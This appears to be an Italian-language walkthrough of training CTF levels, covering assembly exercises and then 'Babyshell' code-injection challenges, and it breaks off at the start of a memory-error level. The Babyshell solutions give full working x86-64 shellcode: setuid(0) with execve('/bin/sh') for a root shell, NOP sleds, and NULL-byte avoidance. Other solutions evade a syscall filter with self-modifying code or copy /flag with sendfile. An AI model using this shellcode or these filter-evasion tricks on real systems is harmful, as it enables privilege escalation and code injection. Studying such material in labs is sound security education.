Using the above knowledge, please perform the following: Count the consecutive non-zero bytes in a contiguous region of memory, where: `rdi` = memory address of the 1st byte `rax` = number of consecutive non-zero bytes Additionally, if `rdi` = 0, then set `rax` = 0 (we will check)! An example test-case, let: `rdi = 0x1000` `[0x1000] = 0x41` `[0x1001] = 0x42` `[0x1002] = 0x43` `[0x1003] = 0x00` then: `rax = 3` should be set

We will now run multiple tests on your code, here is an example run: - (data) `[0x404000] = {10 random bytes}`, - `rdi = 0x404000`

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix
```

```
.global _start
```

```
.section .text
```

```

_start:
    cmp rdi, 0
    je end
    xor rax, rax
start:
    mov bx, [rdi]
    cmp bx, 0
    je trueend
    add rax, 1
    add rdi, 1
    jmp start
end:
    mov rax, 0
trueend:
    nop

```

Lo compilo e mando il risultato (all'interno della cartella dove si trova embryoasm.s)

```

gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*

```

22

Welcome to EmbryoASMLLevel22

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

We will be testing your code multiple times in this level with dynamic values! This means we will be running your code in a variety of random ways to verify that the logic is robust enough to survive normal use. You can consider this as normal dynamic value se

In this level you will be working with functions! This will involve manipulating both ip control as well as doing harder tasks than normal. You may be asked to utilize the stack to save things and call other functions that we provide you.

In previous levels you implemented a while loop to count the number of consecutive non-zero bytes in a contiguous region of memory. In this level you will be provided with a contiguous region of memory again and will loop over each performing a conditional operation till a zero byte is reached. All of which will be contained in a function!

A function is a callable segment of code that does not destory control flow. Functions use the instructions “call” and “ret”.

The “call” instruction pushes the memory address of the next instruction onto the stack and then jumps to the value stored in the first argument.

Let’s use the following instructions as an example: 0x1021 mov rax, 0x400000
0x1028 call rax 0x102a mov [rsi], rax

1. call pushes 0x102a, the address of the next instruction, onto the stack.
2. call jumps to 0x400000, the value stored in rax. The “ret” instruction is the opposite of “call”. ret pops the top value off of the stack and jumps to it. Let’s use the following instructions and stack as an example:

Stack ADDR VALUE

0x103f mov rax, rdx RSP + 0x8 0xdeadbeef 0x1042 ret RSP + 0x0
0x0000102a ret will jump to 0x102a

Please implement the following logic: str_lower(src_addr): rax = 0 if src_addr != 0: while [src_addr] != 0x00: if [src_addr] <= 0x5a: [src_addr] = foo([src_addr]) rax += 1 src_addr += 1 foo is provided at 0x403000. foo takes a single argument as a value

An important note is that src_addr is an address in memory (where the string is located) and [src_addr] refers to the byte that exists at src_addr.

Therefore, the function foo expects a byte as its first argument, and returns a byte.

We will now run multiple tests on your code, here is an example run: - (data) [0x404000] = {10 random bytes}, - rdi = 0x404000

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file embryoasm.s

```
.intel_syntax noprefix
```

```
.global _start
```

```
.section .text
```

```
_start:
```

```
    xor rcx, rcx
    mov rsi, rdi
    cmp rsi, 0
    je end
```

```
start:
```

```
    mov bl, [rsi]
    cmp bl, 0
    je end
    cmp bl, 0x5a
```

```

        ja skip
        mov rdi, [rsi]
        mov rax, 0x403000
        call rax
        mov [rsi], al
        add rcx, 1
skip:
        add rsi, 1
        jmp start
end:
        mov rax, rcx
        ret

```

Lo compilo e mando il risultato (all'interno della cartella dove si trova `embryoasm.s`)

```

gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*

```

23

Welcome to EmbryoASMLLevel23

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

We will be testing your code multiple times in this level with dynamic values! This means we will be running your code in a variety of random ways to verify that the logic is robust enough to survive normal use. You can consider this as normal dynamic value se

In this level you will be working with functions! This will involve manipulating both ip control as well as doing harder tasks than normal. You may be asked to utilize the stack to save things and call other functions that we provide you.

In the previous level, you learned how to make your first function and how to call other functions. Now we will work with functions that have a function stack frame. A function stack frame is a set of pointers and values pushed onto the stack to save things for later use and allocate space on the stack for function variables. First, let's talk about the special register `rbp`, the Stack Base Pointer. The `rbp` register is used to tell where our stack frame first started. As an example, say we want to construct some list (a contiguous space of memory) that is only used in our function. The list is 5 elements long, each element is a dword. A list of 5 elements would already take 5 registers, so instead, we can make pace on the stack! The assembly would look like:

```

~~~~~ ; setup the base
of the stack as the current top mov rbp, rsp ; move the stack 0x14 bytes (5 * 4)

```

down ; acts as an allocation sub rsp, 0x14 ; assign list2 = 1337 mov eax, 1337 mov [rbp-0x8], eax ; do more operations on the list ... ; restore the allocated space
 mov rsp, rbp ret ~~~~~

Notice how rbp is always used to restore the stack to where it originally was. If we don't restore the stack after use, we will eventually run out TM. In addition, notice how we subtracted from rsp since the stack grows down. To make it have more space, we subtract the space we need. The ret and call still works the same. It is assumed that you will never pass a stack address across functions, since, as you can see from the above use, the stack can be overwritten by anyone at any time. Once, again, please make function(s) that implements the following:
 most_common_byte(src_addr, size): b = 0 i = 0 for i <= size-1: curr_byte = [src_addr + i] [stack_base - curr_byte] += 1 b = 0

```
max_freq = 0
max_freq_byte = 0
for b <= 0xff:
    if [stack_base - b] > max_freq:
        max_freq = [stack_base - b]
        max_freq_byte = b
```

```
return max_freq_byte
```

Assumptions: - There will never be more than 0xffff of any byte - The size will never be longer than 0xffff - The list will have at least one element Constraints:
 - You must put the "counting list" on the stack - You must restore the stack like in a normal function - You cannot modify the data at src_addr

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file embryoasm.s

```
.intel_syntax noprefix
```

```
.global _start
```

```
.section .text
```

```
_start:
```

```
    mov rbp, rsp
    mov rax, 0
    sub rsi, 1
```

```
    sub rsp, 0xf
```

```
    mov r9, 1
```

```
loop1:
```

```
    cmp rax, rsi
```

```
    jg endloop1
```

```
    xor rcx, rcx
```

```

        mov cl, [rdi + rax]
        mov rdx, rbp
        sub rdx, rcx
        mov r9b, [rdx]
        add r9b, 1
        mov [rdx], r9b
        add rax, 1
        jmp loop1

endloop1:
        mov rax, 0
        mov rbx, 0
        mov rcx, 1
        loop2:
        cmp rcx, 0xff
        jg endloop2

        mov r11, rbp
        sub r11, rcx
        mov r8b, [r11]
        cmp r8b, bl
        jbe skip

        mov bl, r8b
        mov rax, rcx

skip:
        add rcx, 1
        sub r11, 1
        jmp loop2

endloop2:
        mov rsp, rbp
        ret

```

Lo compilo e mando il risultato (all'interno della cartella dove si trova embryoasm.s)

```

gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*

```

INJECTION (Babyshell)

In folder /home/hacker/Desktop/Babyshell Per avere l'eseguibile da guardare:
cat /challenge/babyshell_level*.c > babyshell.c

1

Welcome to /challenge/babysHELL_level1!

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

[LEAK] Placing shellcode on the stack at 0x7ffdf4927190! In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every execution, your shellcode will need to be *position-independent*.

Reading 0x1000 bytes from stdin.

SOLUZIONE:

- 1) Andando ad analizzare il codice c del programma

```
puts("Reading 0x1000 bytes from stdin.\n");
shellcode_size = read(0, shellcode_mem, 0x1000);
assert(shellcode_size > 0);

puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode_mem, shellcode_size);
puts("");

puts("Executing shellcode!\n");
((void(*)())shellcode_mem)();
```

Vedo che non ci sono limitazioni particolari e quindi posso semplicemente evocare una shell

- 2) Per farlo creo il file `babysHELL.s`:

```
.intel_syntax noprefix
```

```
.global _start
.section .text
```

```
_start:
    xor rdi, rdi
    mov rax, 105
    syscall

    xor rsi, rsi
    xor rdx, rdx
```

```

lea rdi, [rip + binsh]
mov rax, 59
syscall

```

```

binsh:
.string "/bin/sh"

```

Dove:

```

xor rdi, rdi
mov rax, 105
syscall

```

Serve a chiamare `setuid` con codice 105 per effettuare `setuid(0)` e rendere 0 l'effective UID del programma

```

xor rsi, rsi
xor rdx, rdx
lea rdi, [rip + binsh]
mov rax, 59
syscall

```

Serve a chiamare `execve` con codice 59 per effettuare `execve(/bin/sh, 0, 0)` ed aprire un terminale root. Uso `rip + binsh` per renderlo position-independent

```

binsh:
.string "/bin/sh"

```

Salvo come stringa `/bin/sh` che sarà poi usato nella `execve`

3) Eseguo con:

```

gcc -nostdlib -static -o babyshell babyshell.s
objcopy --dump-section .text=babyshell.txt babyshell
cat babyshell.txt - | /challenge/babyshell_level*

```

2

Welcome to `/challenge/babyshell_level2!`

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors `> 2`.

[LEAK] Placing shellcode on the stack at `0x7ffd4bd23f60!` In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every execution, your shellcode will need to be *position-independent*.

Reading 0x1000 bytes from stdin.

SOLUZIONE:

- 1) Andando ad analizzare il codice c del programma

```
puts("Reading 0x1000 bytes from stdin.\n");
shellcode_size = read(0, shellcode_mem, 0x1000);
assert(shellcode_size > 0);

puts("Executing filter...\n");
puts("This challenge will randomly skip up to 0x800 bytes in your shellcode. You better
puts("is to have your shellcode start with a long set of single-byte instructions that c
puts("actual functionality of your code begins. When control flow hits any of these inst
puts("execute and then your real shellcode will run. This concept is called a `nop sled
srand(time(NULL));
int to_skip = (rand() % 0x700) + 0x100;
shellcode_mem += to_skip;
shellcode_size -= to_skip;

puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode_mem, shellcode_size);
puts("");

puts("Executing shellcode!\n");
((void(*)())shellcode_mem)();
```

Vedo che c'è una limitazione: la challenge skipperà fino a 0x800 bytes. Per superarla viene consigliato di inserire una quantità di istruzioni nop (istruzione che non fa nulla) sufficiente per pasare lo spazio vuoto e poi eseguire lo shellcode

- 2) Per farlo creo il file `babyshell.s`:

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    .rept 0x800
        nop
    .endr
    xor rdi, rdi
    mov rax, 105
    syscall

    xor rsi, rsi
    xor rdx, rdx
    lea rdi, [rip + binsh]
```

```

mov rax, 59
syscall

```

```

binsh:
.string "/bin/sh"

```

Dove:

```

.rept 0x800
    nop
.endr

```

Serve a ripetere l'istruzione **nop** che non fa nulla per 0x800 volte, così da aggirare il blocco

```

xor rdi, rdi
mov rax, 105
syscall

```

Serve a chiamare **setuid** con codice 105 per effettuare **setuid(0)** e rendere 0 l'effective UID del programma

```

xor rsi, rsi
xor rdx, rdx
lea rdi, [rip + binsh]
mov rax, 59
syscall

```

Serve a chiamare **execve** con codice 59 per effettuare **execve(/bin/sh, 0, 0)** ed aprire un terminale root. Uso **rip + binsh** per renderlo position-independent

```

binsh:
.string "/bin/sh"

```

Salvo come stringa **/bin/sh** che sarà poi usato nella **execve**

3) Eseguo con:

```

gcc -nostdlib -static -o babyshell babyshell.s
objcopy --dump-section .text=babyshell.txt babyshell
cat babyshell.txt - | /challenge/babyshell_level*

```

3

Welcome to /challenge/babyshell_level3!

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

[LEAK] Mapping shellcode memory at 0x1ea9d000! Reading 0x1000 bytes from stdin.

Limitazione: la shellcode non deve contenere byte NULL (0x00).

SOLUZIONE:

- 1) Andando ad analizzare il codice c del programma

```
puts("Reading 0x1000 bytes from stdin.\n");
shellcode_size = read(0, shellcode_mem, 0x1000);
assert(shellcode_size > 0);

puts("Executing filter...\n");
puts("This challenge requires that your shellcode have no NULL bytes!\n");
for (int i = 0; i < shellcode_size; i++)
    if (!((uint8_t*)shellcode_mem)[i])
    {
        printf("Failed filter at byte %d!\n", i);
        exit(1);
    }

puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode_mem, shellcode_size);
puts("");

puts("Executing shellcode!\n");
((void(*)())shellcode_mem)();
```

Vedo che c'è una limitazione: lo shellcode non può contenere bytes NULL

- 2) Per farlo creo il file `babyshell.s`:

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    xor rdi, rdi
    mov al, 105
    syscall

    xor rax, rax
    push rax
    mov rbx, 0x68732f2f6e69622f
    push rbx

    xor rsi, rsi
```

```

xor rdx, rdx
mov rdi, rsp
mov al, 59
syscall

```

Dove:

```

xor rdi, rdi
mov al, 105
syscall

```

Serve a chiamare `setuid` con codice 105 per effettuare `setuid(0)` e rendere 0 l'effective UID del programma. Per evitare il check lo passo su `al` e non su `rdi`

```

xor rax, rax
push rax
mov rbx, 0x68732f2f6e69622f
push rbx

```

Serve a caricare nello stack prima 8 byte di 00 (`rax` svuotato), poi carica 0x68732f2f6e69622f ovvero `"/bin//sh"` (con la doppia sbarra perchè è accettata e così occupo 8 byte). Per trovare una stringa in esadecimale posso aprire gdb e usare `p/x "/bin//sh"`

```

xor rsi, rsi
xor rdx, rdx
mov rdi, rsp
mov al, 59
syscall

```

Serve a chiamare `execve` con codice 59 per effettuare `execve("/bin/sh", 0, 0)` ed aprire un terminale root. Per evitare il check lo passo su `al` e non su `rdi`

3) Eseguo con:

```

gcc -nostdlib -static -o babyshell babyshell.s
objcopy --dump-section .text=babyshell.txt babyshell
cat babyshell.txt - | /challenge/babyshell_level*

```

4

Welcome to /challenge/babyshell_level3!

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

[LEAK] Mapping shellcode memory at 0x1ea9d000! Reading 0x1000 bytes from stdin.

Limitazione: la shellcode non deve contenere byte 0x48 (che corrisponde alla lettera “H”).

SOLUZIONE:

- 1) Andando ad analizzare il codice c del programma

```
puts("Reading 0x1000 bytes from stdin.\n");
shellcode_size = read(0, shellcode_mem, 0x1000);
assert(shellcode_size > 0);

puts("Executing filter...\n");
puts("This challenge requires that your shellcode have no H bytes!\n");
for (int i = 0; i < shellcode_size; i++)
    if (((uint8_t*)shellcode_mem)[i] == 'H')
    {
        printf("Failed filter at byte %d!\n", i);
        exit(1);
    }

puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode_mem, shellcode_size);
puts("");

puts("Executing shellcode!\n");
((void(*)())shellcode_mem)();
```

Vedo che c'è una limitazione: lo shellcode non può contenere bytes “H” (ovvero 0x48)

- 2) Per farlo creo il file `babyshell.s`:

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    xor edi, edi
    mov eax, 105
    syscall
    jmp one

one:
    call two
    .ascii "/bin//sh\0"
```

```
two:
    xor esi, esi
    xor edx, edx
    pop rdi
    mov eax, 59
    syscall
```

Dove:

```
    xor edi, edi
    mov eax, 105
    syscall
    jmp one
```

Serve a chiamare `setuid` con codice 105, carico i valori della syscall su `edi` ed `eax` per evitare i registri a 64 bit e superare il blocco. Salto a `one`

```
one:
    call two
    .ascii "/bin//sh\0"
```

Passa a `two` passandogli l'indirizzo della stringa successiva ovvero `"/bin//sh\0"`

```
two:
    xor esi, esi
    xor edx, edx
    pop rdi
    mov eax, 59
    syscall
```

Infine chiamo la `execve` avendo come indirizzo il valore passato con la call

3) Eseguo con:

```
gcc -nostdlib -static -o babyshell babyshell.s
objcopy --dump-section .text=babyshell.txt babyshell
cat babyshell.txt - | /challenge/babyshell_level*
```

5

Welcome to /challenge/babyshell_level5!

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

[LEAK] Mapping shellcode memory at 0x1f1e2000!

Limitazione: La challenge filtra tutte le istruzioni syscall, sysenter, e int

SOLUZIONE:

- 1) Andando ad analizzare il codice c del programma

```
puts("Reading 0x1000 bytes from stdin.\n");
shellcode_size = read(0, shellcode_mem, 0x1000);
assert(shellcode_size > 0);

puts("Executing filter...\n");
puts("This challenge requires that your shellcode does not have any `syscall`, `sysenter`");
puts("are too dangerous! This filter works by scanning through the shellcode for the fol");
puts("`syscall`, 0xf34 (`sysenter`), and 80cd (`int`). One way to evade this is to have");
puts("insert the `syscall` instructions at runtime.\n");
for (int i = 0; i < shellcode_size; i++)
{
    uint16_t *scw = (uint16_t *)((uint8_t*)shellcode_mem + i);
    if (*scw == 0x80cd || *scw == 0x340f || *scw == 0x050f)
    {
        printf("Failed filter at byte %d!\n", i);
        exit(1);
    }
}

puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode_mem, shellcode_size);
puts("");

puts("Executing shellcode!\n");
((void(*)())shellcode_mem)();
```

Vedo che c'è una limitazione: lo shellcode non può contenere syscall, sysenter e int

- 2) Per farlo creo il file babyshell.s:

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    xor rdi, rdi
    mov rax, 105
    dec byte ptr [rip + 1]
    clts

    xor rsi, rsi
```

```

xor rdx, rdx
lea rdi, [rip + binsh]
mov rax, 59
dec byte ptr [rip + 1]
clts

```

```

binsh:
.string "/bin/sh"

```

Dove:

```

xor rdi, rdi
mov rax, 105
dec byte ptr [rip + 1]
clts

```

Preparo per la syscall `setuid` con codice 105. Per evitare il blocco su `syscall` uso `clts` che differenzia di solo un byte da `syscall`: di conseguenza se decremento di 1 byte in `[rip + 1]` `clts` diventa `syscall`

```

xor rsi, rsi
xor rdx, rdx
lea rdi, [rip + binsh]
mov rax, 59
dec byte ptr [rip + 1]
clts

```

Allo stesso modo effettuo `execve` con lo stesso metodo per non invocare la syscall

```

binsh:
.string "/bin/sh"

```

Salvo come stringa `/bin/sh` che sarà poi usato nella `execve`

3) Eseguo con:

```

gcc -nostdlib -static -o babyshell babyshell.s
objcopy --dump-section .text=babyshell.txt babyshell
cat babyshell.txt - | /challenge/babyshell_level*

```

6

Welcome to `/challenge/babyshell_level5!`

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors `> 2`.

[LEAK] Mapping shellcode memory at 0x1f1e2000!

Limitazione: La challenge filtra tutte le istruzioni syscall, sysenter, e int ed rimuove i permessi di scrittura nei primi 4096 byte

SOLUZIONE:

- 1) Andando ad analizzare il codice c del programma

```
puts("Reading 0x2000 bytes from stdin.\n");
shellcode_size = read(0, shellcode_mem, 0x2000);
assert(shellcode_size > 0);

puts("Executing filter...\n");
puts("This challenge requires that your shellcode does not have any `syscall`, `sysenter`");
puts("are too dangerous! This filter works by scanning through the shellcode for the fol");
puts("`syscall`, 0f34 (`sysenter`), and 80cd (`int`). One way to evade this is to have");
puts("insert the `syscall` instructions at runtime.\n");
for (int i = 0; i < shellcode_size; i++)
{
    uint16_t *scw = (uint16_t *)((uint8_t*)shellcode_mem + i);
    if (*scw == 0x80cd || *scw == 0x340f || *scw == 0x050f)
    {
        printf("Failed filter at byte %d!\n", i);
        exit(1);
    }
}

puts("Removing write permissions from first 4096 bytes of shellcode.\n");
assert(mprotect(shellcode_mem, 4096, PROT_READ|PROT_EXEC) == 0);

puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode_mem, shellcode_size);
puts("");

puts("Executing shellcode!\n");
((void(*)())shellcode_mem)();
```

Vedo che c'è una limitazione: lo shellcode non può contenere syscall, sysenter e int. Inoltre vengono rimosse le limitazioni di scrittura nei primi 4096 byte

- 2) Per farlo creo il file `babyshell.s`:

```
.intel_syntax noprefix

.global _start
.section .text

_start:
```

```

.rept 0x1000
    nop
.endr
xor rdi, rdi
mov rax, 105
dec byte ptr [rip + 1]
clts

xor rsi, rsi
xor rdx, rdx
lea rdi, [rip + binsh]
mov rax, 59
dec byte ptr [rip + 1]
clts

```

```

binsh:
.string "/bin/sh"

```

Dove:

```

.rept 0x1000
    nop
.endr

```

Salto i primi 4096 (0x1000) bytes che sono limitati

```

xor rdi, rdi
mov rax, 105
dec byte ptr [rip + 1]
clts

```

Preparo per la syscall `setuid` con codice 105. Per evitare il blocco su `syscall` uso `clts` che differenzia di solo un byte da `syscall`: di conseguenza se decremento di 1 byte in `[rip + 1]` `clts` diventa `syscall`

```

xor rsi, rsi
xor rdx, rdx
lea rdi, [rip + binsh]
mov rax, 59
dec byte ptr [rip + 1]
clts

```

Allo stesso modo effettuo `execve` con lo stesso metodo per non invocare la `syscall`

```

binsh:
.string "/bin/sh"

```

Salvo come stringa `/bin/sh` che sarà poi usato nella `execve`

3) Eseguo con:

```
gcc -nostdlib -static -o babyshell babyshell.s
objcopy --dump-section .text=babyshell.txt babyshell
cat babyshell.txt - | /challenge/babyshell_level*
```

7

Welcome to /challenge/babyshell_level7!

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

[LEAK] Mapping shellcode memory at 0x21485000!

Limitazione: Non si può ottenere output leggendo da stdin, stdout e stderr sono chiuse

SOLUZIONE:

- 1) Andando ad analizzare il codice c del programma

```
puts("Reading 0x4000 bytes from stdin.\n");
shellcode_size = read(0, shellcode_mem, 0x4000);
assert(shellcode_size > 0);

puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode_mem, shellcode_size);
puts("");

puts("This challenge is about to close stdin, which means that it will be harder to pass");
puts("to figure an alternate solution (such as unpacking shellcode in memory) to get passed");
assert(fclose(stdin) == 0);

puts("This challenge is about to close stderr, which means that you will not be able to");
assert(fclose(stderr) == 0);

puts("This challenge is about to close stdout, which means that you will not be able to");
puts("You will see no further output, and will need to figure out an alternate way of communicating");
assert(fclose(stdout) == 0);

puts("Executing shellcode!\n");
((void(*)())shellcode_mem)();
```

Vedo che c'è una limitazione: sono chiuse stdin, stdout e stderr quindi non posso interagire né stampare l'output del programma normalmente

- 2) Per farlo creo il file `babyshell.s`:

```

.intel_syntax noprefix

.global _start
.section .text

_start:
    xor rsi, rsi
    lea rdi, [rip + flag]
    mov rax, 2
    syscall
    mov r13, rax

    mov rdx, 0x1ff
    mov rsi, 65
    lea rdi, [rip + key]
    mov rax, 2
    syscall
    mov r12, rax

    mov r10, 0x100
    mov rdi, r12
    mov rsi, r13
    xor rdx, rdx
    mov rax, 40
    syscall

flag:
    .ascii "/flag\0"
key:
    .ascii "/home/hacker/key\0"

```

Dove:

```

    xor rsi, rsi
    lea rdi, [rip + flag]
    mov rax, 2
    syscall
    mov r13, rax

```

Serve per effettuare `open(/flag, 0_RDONLY)`. Con `rsi = 0` indico `READONLY`, salvo in `rdi` l'indirizzo di `/flag` e in `rax` il codice 2 di `open`. Successivamente, salvo in `r13` il contenuto di `rax` ovvero il fd del file aperto

```

    mov rdx, 0x1ff
    mov rsi, 65
    lea rdi, [rip + key]
    mov rax, 2
    syscall

```

```
mov r12, rax
```

Serve per effettuare `open("/home/hacker/key", O_WRONLY | O_CREAT, 0777)`. Con `rsi = 65` indico il file con `WRITE` e `CREATE`, ovvero apro il file in scrittura e lo creo se non esiste: il codice di `WRITE` è 1 e quello di `create` è 64, quindi metto 65. In `rdx` invece salvo `0x1ff`, ovvero il parametro di `CREATE` che serve per determinare i privilegi del nuovo file creato: è in ottale è in binario rappresenta `11111111` ovvero "il file ha tutti i diritti". Infine salvo in `rdi` l'indirizzo di `/home/hacker/key` e in `rax` il codice 2 di `open`. Successivamente, salvo in `r12` il contenuto di `rax` ovvero il fd del file aperto

```
mov r10, 0x100
mov rdi, r12
mov rsi, r13
xor rdx, rdx
mov rax, 40
syscall
```

Serve per effettuare `sendfile(out_fd, in_fd, NULL, 0x100)`. Salvo in `rdi` il fd del file di output, e in `rsi` il fd del file di input, precedentemente salvati su `r13` e `r12`. Su `r10` invece salvo il numero di byte da leggere, in questo caso `0x100` e in `rax` il codice di `sendfile` ovvero 40

```
flag:
.ascii "/flag\0"
key:
.ascii "/home/hacker/key\0"
```

Salvo come ascii `/flag` e `/home/hacker/key` che userò poi nelle funzioni

3) Eseguo con:

```
gcc -nostdlib -static -o babyshell babyshell.s
objcopy --dump-section .text=babyshell.txt babyshell
cat babyshell.txt - | /challenge/babyshell_level*
```

4) Leggo il file `key` creato nella home: `cat /home/hacker/key`

8

Welcome to `/challenge/babyshell_level8!`

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors `> 2`.

[LEAK] Mapping shellcode memory at `0x30326000`! Reading `0x12` bytes from `stdin`.

9

Welcome to /challenge/babysHELL_level9!

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

[LEAK] Mapping shellcode memory at 0x30189000! Reading 0x1000 bytes from stdin.

10

Welcome to /challenge/babysHELL_level10!

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

[LEAK] Mapping shellcode memory at 0x22041000! Reading 0x1000 bytes from stdin.

11

Welcome to /challenge/babysHELL_level11!

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

[LEAK] Mapping shellcode memory at 0x25f42000! Reading 0x1000 bytes from stdin.

12

Welcome to /challenge/babysHELL_level12!

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure

that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

[LEAK] Mapping shellcode memory at 0x1d9e1000! Reading 0x1000 bytes from stdin.

13

Welcome to /challenge/babysHELL_level13!

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

[LEAK] Mapping shellcode memory at 0x2dd5e000! Reading 0xc bytes from stdin.

14

Welcome to /challenge/babysHELL_level14!

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them as code! This is a common exploitation scenario, called **code injection**. Through this series of challenges, you will practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

[LEAK] Mapping shellcode memory at 0x1d8cf000! Reading 0x6 bytes from stdin.

MEMORY ERRORS (Babymem)

1.0

Welcome to /challenge/babymem_level1.0!

The challenge() function has just been launched! Before we do anything, let's take a look at challenge()'s stack frame: +-----+

Stack location	Data (bytes)	Data (LE int)
0x00007ffd878b36b0 (rsp+0x0000)	40 e5 00 a3 2b 7f 00 00	0x00007f2ba300e540
0x00007ffd878b36b8 (rsp+0x0008)	58 48 8b 87 fd 7f 00 00	
0x00007ffd878b4858	0x00007ffd878b36c0 (rsp+0x0010)	48 48 8b 87 fd 7f 00 00
0x00007ffd878b4848	0x00007ffd878b36c8 (rsp+0x0018)	00 00 00 00 01 00 00
00 0x0000000010000000	0x00007ffd878b36d0 (rsp+0x0020)	a0 44 00 a3 2b 7f

```

00 00 | 0x00007f2ba30044a0 | | 0x00007ffd878b36d8 (rsp+0x0028) | 00 00 00 00 00
00 00 00 | 0x0000000000000000 | | 0x00007ffd878b36e0 (rsp+0x0030) | f0 36 8b 87
fd 7f 00 00 | 0x00007ffd878b36f0 | | 0x00007ffd878b36e8 (rsp+0x0038) | 04 37 8b
87 fd 7f 00 00 | 0x00007ffd878b3704 | | 0x00007ffd878b36f0 (rsp+0x0040) | 00 00
00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffd878b36f8 (rsp+0x0048) | 00
00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffd878b3700 (rsp+0x0050)
| 00 00 00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffd878b3708
(rsp+0x0058) | 00 75 3b 12 16 c2 15 26 | 0x2615c216123b7500 | |
0x00007ffd878b3710 (rsp+0x0060) | 50 47 8b 87 fd 7f 00 00 | 0x00007ffd878b4750 |
| 0x00007ffd878b3718 (rsp+0x0068) | 1f 88 3e 53 b5 55 00 00 | 0x000055b553e881f
| +-----+-----+-----+ Our stack

```

